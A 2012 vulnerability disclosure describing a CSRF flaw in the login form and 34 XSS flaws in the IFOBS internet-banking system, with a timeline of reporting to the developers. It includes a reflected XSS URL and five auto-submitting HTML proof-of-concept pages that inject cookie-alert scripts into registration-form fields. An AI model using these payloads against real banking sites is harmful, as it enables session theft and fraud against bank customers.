CSRF and XSS vulnerabilities in IFOBS

2012-10-01T00:00:00
ID SECURITYVULNS:DOC:28578
Type securityvulns
Reporter Securityvulns
Modified 2012-10-01T00:00:00

Description

Hello 3APA3A!

I want to warn you about Cross-Site Request Forgery and Cross-Site Scripting vulnerabilities in system IFOBS.

IFOBS - it's Internet-banking system, which is widespread and particularly it's used by large number of Ukrainian banks.

These are the next 35 vulnerabilities in IFOBS: 1 CSRF and 34 XSS (in the first two advisories there were 74 vulnerabilities).


Affected products:

Vulnerable are all versions of IFOBS. The developers have ignored and not fixed these vulnerabilities (all holes from three advisories).


Details:

Cross-Site Request Forgery (WASC-09):

Lack of protection against Brute Force in login form (http://site/ifobsClient/loginlite.jsp), mentioned earlier, also leads to possibility of conducting of CSRF attack, which I wrote about in the article Attacks on unprotected login forms (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html). It allows to conduct remote login into account (for conducting of attacks on vulnerabilities inside account). It also can be used for automated login into account, phishing and other automated attacks.

Cross-Site Scripting (WASC-08):

http://site/ifobsClient/regclientalerts.jsp?labelname=%3Cscript%3Ealert(document.cookie)%3C/script%3E

POST request at page http://site/ifobsClient/regclientform.jsp in parameters: secondName, firstName, thirdName, BirthDay, BirthMonth, BirthYear, address, livePlace, passportSerialpassportNumber, PassportDay, PassportMonth, PassportYear, passportIssueAgency, tempDocSerialtempDocNumber, tempDocSerial, DocMonth, DocYear, idCodeNumber, CodeRegDay, CodeRegMonth, CodeRegYear, idCodeRegPlace, phone, email, pmcountry, pmnumber, keyword, password, bankAddress, bankContacts, typeclient.

Exploits for the first five vulnerabilities ((in parameters secondName, firstName, thirdName, BirthDay, BirthMonth):

IFOBS XSS-11.html

<html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientform.jsp" method="post"> <input type="hidden" name="secondName" value='"><script>alert(document.cookie)</script>'> </form> </body> </html>

IFOBS XSS-12.html

<html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientform.jsp" method="post"> <input type="hidden" name="firstName" value='"><script>alert(document.cookie)</script>'> </form> </body> </html>

IFOBS XSS-13.html

<html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientform.jsp" method="post"> <input type="hidden" name="thirdName" value='"><script>alert(document.cookie)</script>'> </form> </body> </html>

IFOBS XSS-14.html

<html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientform.jsp" method="post"> <input type="hidden" name="BirthDay" value='</script><script>alert(document.cookie)</script>'> <input type="hidden" name="BirthMonth" value="01"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="typeclient" value="standart"> </form> </body> </html>

IFOBS XSS-15.html

<html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientform.jsp" method="post"> <input type="hidden" name="BirthDay" value="01"> <input type="hidden" name="BirthMonth" value='</script><script>alert(document.cookie)</script>'> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="typeclient" value="standart"> </form> </body> </html>


Timeline:

2012.05.04 - found vulnerabilities during pentest. After I've informed my client, he could inform the developers. 2012.06.01 - announced at my site. 2012.06.01 - informed the developers about vulnerabilities (the first advisory). 2012.06.01 - informed the developers about vulnerabilities (the second advisory). 2012.06.02 - informed the developers about vulnerabilities (the third advisory). 2012.09.21 - disclosed at my site (http://websecurity.com.ua/5863/).

Best wishes & regards, Eugene Dokukin aka MustLive Administrator of Websecurity web site http://websecurity.com.ua